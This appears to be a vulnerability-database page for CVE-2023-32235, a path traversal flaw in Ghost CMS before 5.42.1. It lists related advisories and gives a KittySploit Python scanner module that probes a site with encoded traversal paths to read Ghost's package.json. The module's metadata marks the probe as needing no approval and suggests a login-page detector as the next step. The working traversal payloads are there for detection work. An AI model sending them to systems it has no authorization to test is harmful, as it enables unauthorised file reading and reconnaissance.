Ghost CMS < 5.42.1 - Path Traversal Detection
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Exploit for Path Traversal in Ghost | 9 Jul 202320:01 | – | githubexploit | |
| CVE-2023-32235 | 5 May 202312:24 | – | circl | |
| Ghost 路径遍历漏洞 | 5 May 202300:00 | – | cnnvd | |
| Ghost Directory Traversal Vulnerability | 11 May 202300:00 | – | cnvd | |
| CVE-2023-32235 | 5 May 202300:00 | – | cve | |
| CVE-2023-32235 | 5 May 202300:00 | – | cvelist | |
| Ghost CMS 5.42.1 - Path Traversal | 11 Aug 202500:00 | – | exploitdb | |
| Ghost CMS 5.42.1 - Path Traversal (CVE-2023-32235) | 28 Oct 202500:00 | – | nessus | |
| Ghost CMS < 5.42.1 Path Traversal | 6 May 202400:00 | – | nessus | |
| Path Traversal in Ghost | 5 May 202306:30 | – | github |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ghost before 5."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Ghost CMS < 5.42.1 - Path Traversal Detection',
'description': "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.",
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'lfi', 'ghostcms', 'ghost', 'node.js', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://github.com/advisories/GHSA-wf7x-fh6w-34r6',
'https://nvd.nist.gov/vuln/detail/CVE-2023-32235',
'https://github.com/TryGhost/Ghost/commit/378dd913aa8d0fd0da29b0ffced8884579598b0f',
'https://github.com/TryGhost/Ghost/compare/v5.42.0...v5.42.1',
],
'cve': 'CVE-2023-32235',
}
def run(self):
for path in ('/assets/built%2F..%2F..%2F/package.json', '/assets/built%2F..%2F..%2F%E0%A4%A/package.json'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('"name"', '"version"', '"ghost"',)
header_any = ('application/json',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='high',
reason="Ghost CMS < 5.42.1 - Path Traversal detected",
path=path,
)
return True
return False
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28 Jul 2026 11:27Current
7.4High risk
Vulners AI Score7.4
CVSS 3.17.5
EPSS0.39078
SSVC